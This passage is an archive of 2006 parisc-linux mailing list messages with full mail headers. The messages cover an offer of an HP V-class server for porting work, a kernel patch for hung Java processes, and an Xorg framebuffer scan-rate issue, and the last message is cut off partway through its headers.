	with ESMTP id 05151-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Dec 2006 08:44:41 -0700 (MST)
Original-Received: from mail.bcrl.stcloudstate.edu (dell1.bcrl.stcloudstate.edu
	[199.17.59.245])
	by free.linux.hp.com (Postfix) with ESMTP id BF1667D7EF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Dec 2006 08:44:41 -0700 (MST)
Original-Received: from [10.0.0.45] (unknown [199.17.59.129])
	by mail.bcrl.stcloudstate.edu (Postfix) with ESMTP id EB6DB6F04
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Dec 2006 09:45:56 -0600 (CST)
User-Agent: Mozilla Thunderbird 1.0.6 (X11/20050811)
X-Accept-Language: en-us, en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: F9rkEaYSbXBtTrqHPTQ2UYYqLyUmZQgV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24156

Greetings,

After reading the the parisc-linux website I noticed that the V-class 
machines could be supported if someone had access to one.  I have access 
to one, with just one problem no teststation software to get it booted.

If I had the software I would be willing to have the machine accessable 
for development work for the purpose of getting Linux on it and anything 
else you could think of.  I might even be able to get a few cs grad 
students to work on it, they don't seem to be doing anything useful 
right now.


I do have a question about the V-class and Linux.  What still needs to 
be done?  The parisc-linux website states the main problem as being the 
PCI bus adapter.  Knowing what else needs to be done would help in 
judging the difficulty in completing the project.

Have Fun!
Chuck Hall
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] V-Class server.
Date: Mon, 18 Dec 2006 09:20:51 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20061218162050.GC21070__599.411948542361$1416624235$gmane$org@parisc-linux.org>
References: <4586B83E.40603@bcrl.stcloudstate.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624235 21815 80.91.229.3 (22 Nov 2014 02:43:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chuck Hall <chall@bcrl.stcloudstate.edu>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Dec 2006 16:21:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx100) with SMTP; 18 Dec 2006 17:21:08 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 858487D86D;
	Mon, 18 Dec 2006 09:21:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05764-01; Mon, 18 Dec 2006 09:21:01 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 88AEC7D866;
	Mon, 18 Dec 2006 09:21:00 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4792D7D83F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Dec 2006 09:20:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05690-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Dec 2006 09:20:51 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 972A57D7FC
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Dec 2006 09:20:51 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 4D984494003; Mon, 18 Dec 2006 09:20:51 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <4586B83E.40603@bcrl.stcloudstate.edu>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: x4a+cAAxbmw7XK2HZzdLC6NHUzc4chFY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24157

On Mon, Dec 18, 2006 at 09:48:14AM -0600, Chuck Hall wrote:
> After reading the the parisc-linux website I noticed that the V-class 
> machines could be supported if someone had access to one.  I have access 
> to one, with just one problem no teststation software to get it booted.

Hi Chuck,

I don't know what needs to be done to get a V-class to boot, but I know
there are several people on the list with prior experience of V-class,
and I hope they'll be able to help you.

> If I had the software I would be willing to have the machine accessable 
> for development work for the purpose of getting Linux on it and anything 
> else you could think of.  I might even be able to get a few cs grad 
> students to work on it, they don't seem to be doing anything useful 
> right now.

That would be marvellous.

> I do have a question about the V-class and Linux.  What still needs to 
> be done?  The parisc-linux website states the main problem as being the 
> PCI bus adapter.  Knowing what else needs to be done would help in 
> judging the difficulty in completing the project.

I believe that is the only thing.  We can verify that (without doing the
work ;-) by booting a ramdisk-based userspace on it.  The first steps of
the Debian installer should work well for this purpose.  If it works,
then `all' we need is the PCI bus adapter.  I suspect there's also an
IOMMU (or similar) driver that needs to be written too.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] killing a set of user processes causes system
Date: Mon, 18 Dec 2006 15:17:37 -0500 (EST)
Lines: 10
Approved: news@gmane.org
Message-ID: <200612182017.kBIKHcQB011373__40750.4132636406$1416624236$gmane$org@hiauly1.hia.nrc.ca>
References: <200612162255.02615.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624236 21818 80.91.229.3 (22 Nov 2014 02:43:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Dec 2006 20:17:42 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx089) with SMTP; 18 Dec 2006 21:17:42 +0100
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kBIKHcmG011374;
	Mon, 18 Dec 2006 15:17:39 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kBIKHcQB011373;
	Mon, 18 Dec 2006 15:17:38 -0500 (EST)
In-Reply-To: <200612162255.02615.deller@gmx.de> from "Helge Deller" at Dec 16, 2006 10:55:02 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: BprkEfZ/bXBtTrqHPTQ2YRcqLyUmZQiA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24158

> this is an updated patch, where only the absolute necessary pieces were changed.

The patch doesn't help.  Still getting hung java processes.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:35:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] killing a set of user processes causes system
Date: Tue, 19 Dec 2006 20:45:46 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <200612192045.46789.deller__40036.9872608737$1416624236$gmane$org@gmx.de>
References: <200612182017.kBIKHcQB011373@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624236 21824 80.91.229.3 (22 Nov 2014 02:43:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Dec 2006 19:46:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 19 Dec 2006 20:46:13 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9923F7D6CF;
	Tue, 19 Dec 2006 12:46:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17861-03; Tue, 19 Dec 2006 12:46:09 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CDF8B7D6FC;
	Tue, 19 Dec 2006 12:46:08 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A23C7D702
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Dec 2006 12:46:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17532-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Dec 2006 12:45:58 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 18B9B7D65B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Dec 2006 12:45:57 -0700 (MST)
Original-Received: (qmail invoked by alias); 19 Dec 2006 19:45:53 -0000
Original-Received: from mnhm-590c2df3.pool.einsundeins.de (EHLO p100.box) [89.12.45.243]
	by mail.gmx.net (mp031) with SMTP; 19 Dec 2006 20:45:53 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <200612182017.kBIKHcQB011373@hiauly1.hia.nrc.ca>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: v3a9cccYTiEtQKyUaGRwQ9Z1ZUVSRJfy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24159

Hi Dave,

On Monday 18 December 2006 21:17, John David Anglin wrote:
> > this is an updated patch, where only the absolute necessary pieces were changed.
> 
> The patch doesn't help.  Still getting hung java processes.

I just committed the final working patch to the parisc git-tree:
http://git.parisc-linux.org/?p=linux-2.6.git;a=commitdiff;h=0590a4f2beee1d489050cb0ca035294892a46a40
The old patch didn't catched all syscalls and cases, e.g. all string-ops weren't handled.
Maybe you could git-pull and try again ?

Helge

PS: Many thanks to Willy who helped me finding the real fix!
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] killing a set of user processes causes system
Date: Wed, 20 Dec 2006 10:06:22 -0500 (EST)
Lines: 46
Approved: news@gmane.org
Message-ID: <200612201506.kBKF6MvZ008771__17297.2336913974$1416624236$gmane$org@hiauly1.hia.nrc.ca>
References: <200612192045.46789.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624236 21832 80.91.229.3 (22 Nov 2014 02:43:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2006 15:06:27 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx084) with SMTP; 20 Dec 2006 16:06:27 +0100
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kBKF6Nvt008772;
	Wed, 20 Dec 2006 10:06:23 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kBKF6MvZ008771;
	Wed, 20 Dec 2006 10:06:22 -0500 (EST)
In-Reply-To: <200612192045.46789.deller@gmx.de> from "Helge Deller" at Dec 19, 2006 08:45:46 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TGO6cd8WX1VpCOuYY2Fykvl3SDc4NMxc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24160

> The old patch didn't catched all syscalls and cases, e.g. all string-ops weren't handled.
> Maybe you could git-pull and try again ?

This is looking promising.  su works and I had a full build of GCC
last night without any hung java processes.  I still had one test
failure in the libstdc++-v3 testsuite

FAIL: 22_locale/time_get/get_date/wchar_t/4.cc execution test

which may be a kernel problem since the fail doesn't occur using
a 64-bit kernel.  The test also doesn't fail under hpux, so it's
not likely a compilation issue.  The problem is in setting a
date/time string.  Might have something to do with locale functions.

Also, X is broken again.  It seems the card is outputing at higher
scan rate than the card can handle after X starts (no problem
with penguin).  However, the rate shown in the log file seems fine:

(II) Setting vga for screen 0.
(**) FBDEV(0): Depth 8, (--) framebuffer bpp 8
(==) FBDEV(0): Default visual is PseudoColor
(==) FBDEV(0): Using gamma correction (1.0, 1.0, 1.0)
(II) FBDEV(0): hardware: stifb (video memory: 2048kB)
(II) FBDEV(0): checking modes against framebuffer device...
(II) FBDEV(0):  mode "1280x1024" ok
(II) FBDEV(0): checking modes against monitor...
(--) FBDEV(0): Virtual size is 1280x1024 (pitch 1280)
(**) FBDEV(0):  Default mode "1280x1024": 108.0 MHz (scaled from 0.0 MHz), 64.0
kHz, 60.0 Hz
(II) FBDEV(0): Modeline "1280x1024"  108.00  1280 1328 1440 1688  1024 1025 1028
 1066 +hsync +vsync

The monitor runs just fine at 64.0 kHz, 60 Hz.  The monitor says the
output mode of the VIS EG is about 90 kHz, 75 Hz.

Don't think this has anything to do with your patch since older kernels
have same problem.  However, thought you might have a suggestion as
to what's wrong.  Running unstable.

Thanks,
Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:35:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] killing a set of user processes causes system
Date: Wed, 20 Dec 2006 22:37:45 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <200612202237.46357.deller__11758.678922388$1416624237$gmane$org@gmx.de>
References: <200612201506.kBKF6MvZ008771@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624237 21840 80.91.229.3 (22 Nov 2014 02:43:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2006 21:38:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 20 Dec 2006 22:38:03 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F8E87D831;
	Wed, 20 Dec 2006 14:38:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29218-05; Wed, 20 Dec 2006 14:38:00 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 72D8D7D7EE;
	Wed, 20 Dec 2006 14:37:57 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 59E677D75C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Dec 2006 14:37:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29163-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Dec 2006 14:37:52 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 644697D6E5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Dec 2006 14:37:52 -0700 (MST)
Original-Received: (qmail invoked by alias); 20 Dec 2006 21:37:50 -0000
Original-Received: from mnhm-590c204a.pool.einsundeins.de (EHLO p100.box) [89.12.32.74]
	by mail.gmx.net (mp051) with SMTP; 20 Dec 2006 22:37:50 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <200612201506.kBKF6MvZ008771@hiauly1.hia.nrc.ca>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: U9jgdv4ReWU3WK2TZm9nTdIrL0tsZg3f
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24161

Hi Dave,

On Wednesday 20 December 2006 16:06, John David Anglin wrote:
> > The old patch didn't catched all syscalls and cases, e.g. all string-ops weren't handled.
> > Maybe you could git-pull and try again ?
> 
> This is looking promising.  su works and I had a full build of GCC
> last night without any hung java processes.  I still had one test
> failure in the libstdc++-v3 testsuite

That's great !

> FAIL: 22_locale/time_get/get_date/wchar_t/4.cc execution test
> 
> which may be a kernel problem since the fail doesn't occur using
> a 64-bit kernel.  The test also doesn't fail under hpux, so it's
> not likely a compilation issue.  The problem is in setting a
> date/time string.  Might have something to do with locale functions.

Can you provide an strace ?
 
> Also, X is broken again.  It seems the card is outputing at higher
> scan rate than the card can handle after X starts (no problem
> with penguin).  However, the rate shown in the log file seems fine:
> 
> (II) Setting vga for screen 0.
> (**) FBDEV(0): Depth 8, (--) framebuffer bpp 8
> (==) FBDEV(0): Default visual is PseudoColor
> (==) FBDEV(0): Using gamma correction (1.0, 1.0, 1.0)
> (II) FBDEV(0): hardware: stifb (video memory: 2048kB)
> (II) FBDEV(0): checking modes against framebuffer device...
> (II) FBDEV(0):  mode "1280x1024" ok
> (II) FBDEV(0): checking modes against monitor...
> (--) FBDEV(0): Virtual size is 1280x1024 (pitch 1280)
> (**) FBDEV(0):  Default mode "1280x1024": 108.0 MHz (scaled from 0.0 MHz), 64.0
> kHz, 60.0 Hz
> (II) FBDEV(0): Modeline "1280x1024"  108.00  1280 1328 1440 1688  1024 1025 1028
>  1066 +hsync +vsync
> 
> The monitor runs just fine at 64.0 kHz, 60 Hz.  The monitor says the
> output mode of the VIS EG is about 90 kHz, 75 Hz.
> 
> Don't think this has anything to do with your patch since older kernels
> have same problem.  However, thought you might have a suggestion as
> to what's wrong.  Running unstable.

That seems to be a generic problem in the Xorg FBDEV driver. I saw this problem as well.
It has nothing to do with monitor frequencies, since the FBDEV (Framebuffer device driver) can't change the monitor/graphics card frequencies anyway.
So I assume it's more a problem of FBDEV picking the wrong line length (which is always 2048 bytes).

I'll look into this when I find time, but compiling X is not my favorite task :-)

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] killing a set of user processes causes system
Date: Wed, 20 Dec 2006 17:42:08 -0500 (EST)
Lines: 136
Approved: news@gmane.org
Message-ID: <200612202242.kBKMg8sD022756__39748.6056005166$1416624237$gmane$org@hiauly1.hia.nrc.ca>
References: <200612202237.46357.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
